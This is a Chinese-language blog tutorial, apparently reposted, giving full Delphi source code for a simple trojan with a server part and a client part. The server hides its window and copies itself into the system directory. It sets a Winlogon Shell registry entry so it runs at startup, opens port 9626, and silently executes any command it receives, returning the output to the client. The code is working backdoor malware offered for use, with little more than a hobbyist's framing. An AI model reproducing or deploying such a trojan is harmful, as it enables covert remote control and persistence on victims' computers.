zoukankan      html  css  js  c++  java
  • 教程-“培养”自己的简单木马

    刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学Delphi快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!!  程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。 

      1 源码如下: 
      2   ////Server.pas////////////// 
      3   unit UtMain; 
      4   //////////////////////////////////// 
      5   //////////BY lanyus//////////////// 
      6   ////////Email:greathjw@163.com//// 
      7   ////////QQ:231221//////////////// 
      8   ///部分代码从网上收集/////////// 
      9   //////////////////////////////// 
     10   interface 
     11   uses 
     12   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
     13   Dialogs, Registry, ScktComp, StdCtrls; 
     14   type 
     15   TFmMain = class(TForm) 
     16   SS: TServerSocket; 
     17   Memo1: TMemo; 
     18   procedure FormCreate(Sender: TObject); 
     19   procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket); 
     20   procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket); 
     21   private 
     22   { Private declarations } 
     23   public 
     24   { Public declarations } 
     25   end; 
     26   var 
     27   FmMain: TFmMain; 
     28   reg:TRegistry; 
     29   implementation 
     30   {$R *.dfm} 
     31   procedure TFmMain.FormCreate(Sender: TObject); 
     32   var 
     33   sysdir:array[0..50] of char; 
     34   begin 
     35   Application.ShowMainForm:=False; 
     36   FmMain.Left:=-200; //运行不显示窗口 
     37   reg:=TRegistry.Create; 
     38   reg.RootKey:=HKEY_LOCAL_MACHINE; 
     39   reg.OpenKey('SoftWareMicrosoftWindows NTCurrentVersionWinlogon',true); 
     40   if reg.ReadString('Shell')<> 'EXPlorer.exe Lysvr.exe' then 
     41   reg.WriteString('Shell','EXPlorer.exe Lysvr.exe'); //建立开机启动项 
     42   reg.Free; 
     43   GetSystemDirectory(sysdir,50); 
     44   if not FileExists(sysdir+'Lysvr.exe') then 
     45   copyfile(Pchar(Application.exeName),pchar(sysdir+'Lysvr.exe'),true); 
     46   SS.Port:=9626; 
     47   try 
     48   SS.Active:=True; 
     49   except 
     50   end; 
     51   end; 
     52   procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket); 
     53   begin 
     54   Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’ 
     55   end; 
     56   procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket); 
     57   var 
     58   RemoteCmd:string; 
     59   hReadPipe,hWritePipe:THandle; 
     60   si:STARTUPINFO; 
     61   lsa:SECURITY_ATTRIBUTES; 
     62   pi:PROCESS_INFORMATION; 
     63   cchReadBuffer:Dword; 
     64   ph:PChar; 
     65   fname:PChar; 
     66   res:string; 
     67   begin 
     68   Memo1.Clear; 
     69   remotecmd:=Socket.ReceiveText; 
     70   fname:=allocmem(255); 
     71   ph:=AllocMem(5000); 
     72   lsa.nLength :=sizeof(SECURITY_ATTRIBUTES); 
     73   lsa.lpSecurityDescriptor :=nil; 
     74   lsa.bInheritHandle :=True; 
     75   if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then 
     76   begin 
     77   socket.SendText('不能创建管道'); 
     78   exit; 
     79   end; 
     80   fillchar(si,sizeof(STARTUPINFO),0); 
     81   si.cb:=sizeof(STARTUPINFO); 
     82   si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW); 
     83   si.wShowWindow:=SW_HIDE; 
     84   si.hStdOutput:=hWritePipe; 
     85   StrPCopy(fname,remotecmd); 
     86   /////执行CMD命令//// 
     87   if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then 
     88   begin 
     89   socket.SendText('不能创建进程'); 
     90   FreeMem(ph); 
     91   FreeMem(fname); 
     92   Exit; 
     93   end; 
     94   while(true) do 
     95   begin 
     96   if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break; 
     97   if cchReadBuffer<>0 then 
     98   begin 
     99   if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break; 
    100   ph[cchReadbuffer]:=chr(0); 
    101   Memo1.Lines.Add(ph); 
    102   end 
    103   else 
    104   if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break; 
    105   Sleep(100); 
    106   end; 
    107   ph[cchReadBuffer]:=chr(0); 
    108   Memo1.Lines.Add(ph); //memo接收回显 
    109   CloseHandle(hReadPipe); 
    110   CloseHandle(pi.hThread); 
    111   CloseHandle(pi.hProcess); 
    112   CloseHandle(hWritePipe); 
    113   FreeMem(ph); 
    114   FreeMem(fname); 
    115   socket.SendText(Memo1.Text); ///将回显发送回客户端 
    116   end; 
    117   end. 
     1 //////客户端///////////////////// 
     2   unit UtMain; 
     3   //////////////////////////////////// 
     4   //////////BY lanyus//////////////// 
     5   ////////Email:greathjw@163.com//// 
     6   ////////QQ:231221////////////// 
     7   //////////////////////////////// 
     8   interface 
     9   uses 
    10   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
    11   Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent, 
    12   IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp; 
    13   type 
    14   TFmMain = class(TForm) 
    15   WebBrowser1: TWebBrowser; 
    16   Label3: TLabel; 
    17   Edit2: TEdit; 
    18   Label4: TLabel; 
    19   Edit3: TEdit; 
    20   Button2: TButton; 
    21   CS: TClientSocket; 
    22   Edit4: TEdit; 
    23   Label5: TLabel; 
    24   Memo1: TMemo; 
    25   BitBtn2: TBitbtn; 
    26   procedure Button2Click(Sender: TObject); 
    27   procedure CSRead(Sender: TObject; Socket: TCustomWinSocket); 
    28   procedure Bitbtn2Click(Sender: TObject); 
    29   private 
    30   { Private declarations } 
    31   public 
    32   { Public declarations } 
    33   end; 
    34   var 
    35   FmMain: TFmMain; 
    36   implementation 
    37   {$R *.dfm} 
    38   procedure TFmMain.Button2Click(Sender: TObject); 
    39   begin 
    40   CS.Host:=Edit2.Text; 
    41   CS.Port:=StrToInt(Edit3.Text); 
    42   CS.Open; 
    43   end; 
    44   procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket); 
    45   begin 
    46   Memo1.Clear; 
    47   Memo1.Lines.Add(Socket.ReceiveText); 
    48   Memo1.Lines.Add(''); 
    49   end; 
    50   procedure TFmMain.Bitbtn2Click(Sender: TObject); 
    51   begin 
    52   CS.Socket.SendText(edit4.Text); 
    53   end; 
    54   end. 
  • 相关阅读:
    【转载】设计模式_单例模式(学习)
    【转载】设计模式_抽象工厂模式(学习)
    【转载】设计模式_工厂方法(学习)
    【转载】设计模式_六大原则(学习)
    【转载】设计模式_简单工厂模式(学习)
    java有用的启动参数
    linux freetds操作mssql
    ansible 控制windows
    nginx 版本介绍
    tar 压缩去除目录
  • 原文地址:https://www.cnblogs.com/FKdelphi/p/4682891.html
Copyright © 2011-2022 走看看